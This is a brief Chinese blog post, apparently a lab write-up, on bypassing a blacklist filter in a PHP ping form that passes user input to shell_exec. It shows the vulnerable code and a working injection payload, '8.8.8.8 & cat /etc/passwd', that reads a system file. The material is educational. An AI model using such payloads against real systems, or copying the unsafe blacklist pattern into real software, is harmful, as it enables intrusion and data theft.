Command Execution Source--medium

来源:互联网 发布:ipadmini淘宝试用在哪 编辑:程序博客网 时间:2024/06/08 16:26
 <?phpif( isset( $_POST[ 'submit'] ) ) {    $target = $_REQUEST[ 'ip' ];    // Remove any of the charactars in the array (blacklist).    $substitutions = array(        '&&' => '',        ';' => '',    );    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );        // Determine OS and execute the ping command.    if (stristr(php_uname('s'), 'Windows NT')) {             $cmd = shell_exec( 'ping  ' . $target );        echo '<pre>'.$cmd.'</pre>';            } else {             $cmd = shell_exec( 'ping  -c 3 ' . $target );        echo '<pre>'.$cmd.'</pre>';            }}?>


这里采用了replace函数 :  

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

显而易见   如果没有这个函数 我们输入 8.8.8.8 && cat /etc/passwd可以成功通过

但是这里变成了 8.8.8.8  cat /etc/passwd

结合到代码中变成了 ping -c 3  8.8.8.8  cat /etc/passwd

显然这一句话不是个成功的命令 返。错误

问题就是要绕过&&和;

我构造这样一句话    成功绕过   8.8.8.8 & cat /etc/passwd

嘻嘻




0 0
原创粉丝点击